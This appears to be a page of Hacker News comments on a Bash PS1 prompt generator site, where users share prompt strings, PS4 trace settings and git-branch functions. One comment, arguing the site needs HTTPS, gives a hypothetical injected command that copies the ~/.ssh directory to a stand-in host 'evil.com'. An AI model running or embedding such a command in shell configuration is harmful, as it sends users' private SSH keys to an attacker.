Live data from Hacker News

Bash PS1 Generator

bashrcgenerator.com

81–90 of 146 posts

Re: Bash PS1 Generator

#81

Normally I don't post much about how a site should use HTTPS on HN, but for this specific instance I think it's important.

why?

If the outputted prompt contains something like `scp -r ~/.ssh evil.com`, folks may not notice or be savvy enough to recognize that it is malicious. A MITM attacker could quite easily implement this.

Re: Bash PS1 Generator

#82

I've been using this for years (output of 'echo $PS1' ): [\e[1;33m\u\e[1;32m@\e[1;31m\H \e[1;36m\t\e[0m] [\e[1;35m\w\e[0m](\e[1;32m\#\e[0m )\n$ which presents as: [User@HOST 10:21:07][~](2) $ (Username, hostname, 24 hour local time, CWD, history count, newline, prompt) More detail from my .bashrc: # Define some colors first: red='\e[0;31m' RED='\e[1;31m' blue='\e[0;34m' BLUE='\e[1;34m' cyan='\e[0;36m' CYAN='\e[1;36m'…

What do you use the history count for?

That tells one the index to use for !N to repeat that command

!! repeats the last command

!N repeats the command with that index in the history

Re: Bash PS1 Generator

#84
post #45

Somewhat related to PS1 is PS4 in bash. Make your trace output more useful/verbose in your scripts: set -x export PS4='+ ${BASH_SOURCE:-}:${FUNCNAME[0]:-}:L${LINENO:-}: ' This will print the filename, function name, line number, and line content during execution.

In case someone wonders, this does retain the repeated "+" to indicate call depth: "The first character of PS4 is replicated multiple times, as necessary, to indicate multiple levels of indirection." -- this is an important feature when working on large-ish (1-10+k LoC) scripts, which end up having very deep call stacks and a flat trace output would be completely inscrutable.

Re: Bash PS1 Generator

#85

All this stuff is easy to remember. I want colors so bad. You could even have colors be containers you put other elements inside to make it easier to visualize

It has colors - double click on an element after dragging it into "your selection"

Re: Bash PS1 Generator

#88
post #52

current git branch is missing (helps me to avoid working on the wrong branch). (tried to do it with colors, but things got too messy). I never managed to work with colors in bash propmts; they look different on each environment. parse_git_branch() { git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/ (\1)/' } PS1="[\u@\h \W\$(parse_git_branch)]\$ "

You might want to use `git rev-parse --abbrev-ref HEAD` or `git name-rev --name-only HEAD` instead of `git branch`. Plumbing commands (such as rev-parse or name-ref) are generally more interface-stable to use in a script than porcelain commands (such as git branch) which are designed for interactive use where output may change depending on user environment and configuration.

I’ve heard this advice given before and initially followed it but ‘git branch’ and parsing the output works in a few cases (I don’t recall what they are at this time) that less hackey approaches don’t.
Post reply on HN